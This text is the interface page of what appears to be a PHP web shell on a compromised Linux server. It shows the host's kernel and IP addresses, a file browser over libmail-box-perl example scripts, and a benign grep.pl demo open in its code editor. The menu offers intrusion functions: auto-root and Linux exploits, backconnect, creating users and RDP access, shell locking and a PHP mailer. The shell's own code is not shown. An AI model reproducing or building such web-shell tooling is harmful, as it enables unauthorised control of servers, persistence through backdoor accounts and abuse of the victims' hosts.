Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.171
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libmail-box-perl /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
scripts
[ DIR ]
drwxr-xr-x
build.pl
1.77
KB
-rw-r--r--
grep.pl
936
B
-rw-r--r--
multipart.pl
1.38
KB
-rw-r--r--
open.pl
1.02
KB
-rw-r--r--
reply.pl
2.82
KB
-rw-r--r--
send.pl
1.05
KB
-rw-r--r--
smaller.pl
2.26
KB
-rw-r--r--
strip-attachments.pl
3.33
KB
-rw-r--r--
strip-spam-markup.pl
6.75
KB
-rw-r--r--
takelarge.pl
1.64
KB
-rw-r--r--
unpack.pl
2.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : grep.pl
#!/usr/bin/perl # Demonstration of a simple search. # # This code can be used and modified without restriction. # Mark Overmeer, <mailbox@overmeer.net>, 17 feb 2002 # Updated 16 jan 2003 to work more like unix-grep syntax use warnings; use strict; use lib '..', '.'; use Mail::Box::Manager 2.008; use Mail::Box::Search::Grep; # # Get the command line arguments. # die "Usage: $0 pattern mailboxes\n" unless @ARGV >= 2; my ($pattern, @mailboxes) = @ARGV; my $mgr = Mail::Box::Manager->new; foreach my $mailbox (@mailboxes) { my $folder = $mgr->open($mailbox); unless(defined $folder) { warn "*** Cannot open folder $mailbox.\n"; next; } print "*** Scanning through $mailbox\n" if @mailboxes > 1; my $grep = Mail::Box::Search::Grep->new ( in => 'MESSAGE' , match => qr/$pattern/ , details => 'PRINT' ); $grep->search($folder); $folder->close; }
Close